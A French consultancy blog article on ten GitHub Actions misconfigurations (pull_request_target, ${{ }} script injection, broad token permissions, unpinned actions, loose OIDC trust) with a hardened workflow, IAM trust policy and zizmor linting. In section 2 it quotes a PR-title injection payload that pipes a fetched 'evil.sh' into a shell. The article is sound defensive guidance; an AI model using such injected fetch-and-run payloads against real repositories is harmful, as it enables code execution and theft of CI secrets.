Supply chain
GitHub Actions : les 10 misconfigurations qui donnent un accès prod à un contributeur externe
pull_request_target, injection ${{ }}, write-all, actions non pinnées : les 10 erreurs de workflow qui ouvrent la prod à une PR externe, avec le workflow corrigé et zizmor en CI.
Dans un audit de pipeline CI/CD, le point d’entrée n’est presque jamais un exploit sophistiqué. C’est un fichier .github/workflows/*.yml qui fait confiance à du contenu qu’il ne contrôle pas : le titre d’une PR, une branche de fork, une action référencée par tag mutable. Et derrière le workflow, il y a un GITHUB_TOKEN, des secrets, et très souvent un rôle AWS assumable par OIDC.
Cet article liste les 10 misconfigurations que je retrouve le plus en PME, dans l’ordre où je les cherche, avec pour chacune la menace, le contrôle, et la preuve à montrer à un auditeur. Le workflow corrigé et le garde-fou CI sont en fin d’article.
La menace : un workflow est du code exécuté avec vos droits
Un workflow tourne avec trois choses de valeur : le GITHUB_TOKEN (droits sur le dépôt), les secrets du dépôt ou de l’organisation, et, si id-token: write est accordé, la capacité d’obtenir des credentials cloud via OIDC. L’attaquant n’a pas besoin de compromettre GitHub : il lui suffit de faire exécuter son contenu dans votre contexte de confiance.
Ce n’est pas théorique. En mars 2025, l’action tj-actions/changed-files (très largement utilisée) a été compromise : les tags de version ont été réécrits pour pointer vers un commit malveillant qui écrivait les secrets du runner dans les logs (alerte CISA, CVE-2025-30066, ajoutée au catalogue KEV le 26 mars 2025). Les dépôts qui référençaient un tag de version ont tiré le code malveillant ; ceux épinglés sur le SHA d’un commit antérieur à la compromission n’ont pas été exposés.
Les 10 misconfigurations
1. pull_request_target + checkout du code de la PR
pull_request_target s’exécute dans le contexte du dépôt de base : secrets disponibles, GITHUB_TOKEN en écriture. Si le workflow fait ensuite actions/checkout avec ref: ${{ github.event.pull_request.head.sha }} puis lance un npm install ou un make, le code du fork s’exécute avec ces droits. C’est le schéma que la documentation GitHub appelle « pwn request » (Security hardening for GitHub Actions).
Contrôle : utiliser pull_request (pas de secrets pour les forks) pour tout ce qui build ou teste. Réserver pull_request_target aux tâches qui n’exécutent aucun code de la PR (labeler, commentaire). Depuis le 8 décembre 2025, GitHub fait aussi toujours exécuter ces événements depuis la branche par défaut (changelog du 7 nov. 2025), ce qui réduit l’exploitation via de vieilles branches mais ne règle pas le checkout du head.
2. Injection de script via ${{ }} dans un run:
run: echo "${{ github.event.pull_request.title }}" : l’expression est substituée avant l’exécution du shell. Un titre de PR "; curl evil.sh | sh # devient une commande. Sont concernés les titres, corps, noms de branche, messages de commit, head_ref.
Contrôle : passer la valeur par une variable d’environnement et la référencer comme variable shell.
- env:
PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE"
3. Permissions du GITHUB_TOKEN trop larges
Le défaut dépend du paramètre du dépôt ou de l’organisation : sur les anciens dépôts, c’est write-all. Un token en écriture permet de pousser du code, créer des releases, modifier des workflows selon le contexte.
Contrôle : permissions: {} au niveau workflow, puis droits minimaux par job. Côté organisation : Settings → Actions → Workflow permissions → Read repository contents.
4. Actions tierces référencées par tag ou branche
uses: org/action@v4 est un pointeur mutable : le mainteneur (ou son compte compromis) peut le déplacer. C’est exactement le mécanisme de l’incident tj-actions.
Contrôle : pinner par SHA de 40 caractères avec le tag en commentaire (pinact ou Dependabot/Renovate pour les mises à jour). GitHub permet depuis août 2025 d’imposer le pinning par SHA et de bloquer des actions précises via la politique d’actions autorisées de l’organisation (changelog). Un workflow qui référence une action non pinnée échoue alors à l’exécution.
5. secrets: inherit et secrets à portée trop large
Un workflow réutilisable appelé avec secrets: inherit reçoit tous les secrets de l’appelant. Même logique pour les secrets d’organisation partagés « avec tous les dépôts ».
Contrôle : passer les secrets nommément, déplacer les secrets de déploiement dans des environments avec reviewers requis, restreindre les secrets d’organisation à une liste de dépôts.
6. workflow_run qui consomme des artefacts non fiables
Le pattern « build en pull_request, publication en workflow_run » est légitime, mais le second workflow a des secrets. S’il lit un artefact produit par la PR (un JSON, un script) sans le traiter comme une entrée hostile, on retrouve le point 1 par la porte de derrière.
Contrôle : valider le contenu (types, longueurs, liste blanche), ne jamais l’exécuter ni l’interpoler dans un run:.
7. Clés AWS statiques dans les secrets, ou OIDC avec sub trop permissif
Les AWS_ACCESS_KEY_ID en secret GitHub sont exfiltrables par n’importe quel workflow compromis, sans date d’expiration. La migration vers OIDC est la bonne réponse, mais une trust policy avec "token.actions.githubusercontent.com:sub": "repo:org/*" laisse n’importe quel dépôt de l’organisation, y compris un dépôt de test, assumer le rôle.
Contrôle : condition sub exacte, par dépôt et par environment ou branche, et aud à sts.amazonaws.com. Voir l’artefact ci-dessous.
8. Environments sans protection
Un environment production sans reviewers requis ni restriction de branche n’est qu’une étiquette. N’importe quelle branche peut y déployer.
Contrôle : reviewers requis, Deployment branches limité à main, et claim sub OIDC incluant environment:production.
9. Runners self-hosted persistants sur des dépôts publics
Un runner auto-hébergé non éphémère conserve le workspace, les caches et les credentials entre jobs. Sur un dépôt public, une PR de fork peut y déposer un implant qui survivra au job. La documentation GitHub déconseille explicitement les runners auto-hébergés sur des dépôts publics.
Contrôle : runners éphémères (un job, puis destruction), groupes de runners par dépôt, aucun runner partagé entre public et privé.
10. Aucune protection sur .github/workflows/ lui-même
Si n’importe quel contributeur avec accès en écriture peut modifier un workflow et le faire tourner sur sa branche, la revue de code ne protège rien : le workflow modifié s’exécute avant d’être relu.
Contrôle : CODEOWNERS sur /.github/ avec l’équipe sécurité/platform, protection de branche avec revue obligatoire, persist-credentials: false sur les checkouts qui n’ont pas besoin de pousser.
L’artefact : un workflow corrigé et sa trust policy
Voici un workflow de déploiement qui applique les contrôles 2, 3, 4, 7, 8 et 10. Les SHA sont à résoudre avec pinact run (ou à copier depuis les releases officielles) : je ne les fige pas ici pour ne pas publier des références périmées.
name: deploy
on:
push:
branches: [main]
permissions: {}
jobs:
deploy:
runs-on: ubuntu-latest
environment: production
permissions:
contents: read
id-token: write
steps:
- uses: actions/checkout@<SHA-40-caractères> # v5
with:
persist-credentials: false
- uses: aws-actions/configure-aws-credentials@<SHA-40-caractères> # v5
with:
role-to-assume: arn:aws:iam::111122223333:role/app-deploy-prod
aws-region: eu-west-3
- env:
GIT_REF: ${{ github.ref_name }}
run: ./scripts/deploy.sh "$GIT_REF"
La trust policy du rôle lui est liée par dépôt et par environment :
{
"Version": "2012-10-17",
"Statement": [{
"Effect": "Allow",
"Principal": {
"Federated": "arn:aws:iam::111122223333:oidc-provider/token.actions.githubusercontent.com"
},
"Action": "sts:AssumeRoleWithWebIdentity",
"Condition": {
"StringEquals": {
"token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
"token.actions.githubusercontent.com:sub": "repo:mon-org/mon-app:environment:production"
}
}
}]
}
Et le garde-fou : zizmor est un analyseur statique de workflows qui détecte injections de templates, permissions excessives, actions non pinnées, pull_request_target dangereux, secrets: inherit.
name: workflow-lint
on:
pull_request:
paths: [".github/**"]
permissions: {}
jobs:
zizmor:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- uses: actions/checkout@<SHA-40-caractères> # v5
with:
persist-credentials: false
- run: pipx run zizmor --persona regular --min-severity medium .github/workflows
Pour un premier inventaire sans rien installer, ces deux commandes donnent la photographie :
# actions non pinnées par SHA
grep -rEn 'uses: [^./][^@]+@' .github/workflows | grep -vE '@[0-9a-f]{40}'
# workflows exposés aux PR de forks avec accès aux secrets
grep -rln 'pull_request_target' .github/workflows
Les preuves pour l’auditeur
Un contrôle qui n’est pas démontrable n’existe pas pour un auditeur SOC 2 ou un donneur d’ordre NIS2. Les éléments à conserver :
- Politique d’organisation : capture ou export des paramètres Actions (permissions par défaut en lecture, SHA pinning imposé, liste d’actions autorisées).
- Rapport zizmor en CI, avec historique des exécutions : la preuve que le contrôle tourne sur chaque modification de workflow.
- CODEOWNERS et protection de branche sur
.github/: lisibles pargh api repos/{owner}/{repo}/branches/main/protection. - Trust policies IAM versionnées (Terraform) et résultat d’un test négatif :
sts:AssumeRoleWithWebIdentitydepuis un autre dépôt doit échouer. CloudTrail conserve la trace des tentatives refusées. - Inventaire des secrets par dépôt et environment, avec date de dernière rotation ; zéro clé AWS statique est une métrique simple à suivre.
Par où commencer
L’ordre de rentabilité, d’après ce que je vois en mission : (1) permissions: {} partout, (2) retirer les clés AWS statiques au profit d’OIDC avec sub strict, (3) auditer chaque pull_request_target, (4) pinner par SHA et imposer la politique, (5) brancher zizmor. Une semaine de travail pour une PME de quelques dizaines de dépôts, sans toucher à la logique de build.
C’est le périmètre de notre offre Sécurité Supply Chain & CI/CD : audit des workflows, correction, puis garde-fous en CI pour que ça tienne dans le temps.
Cet article vous a été utile ? Partagez-le.
Aller plus loin
Un sujet, une mission, une question ?
Distribuée accompagne des PME exigeantes sur la sécurité cloud, la supply chain CI/CD et la sécurité IA.
Réserver 15 min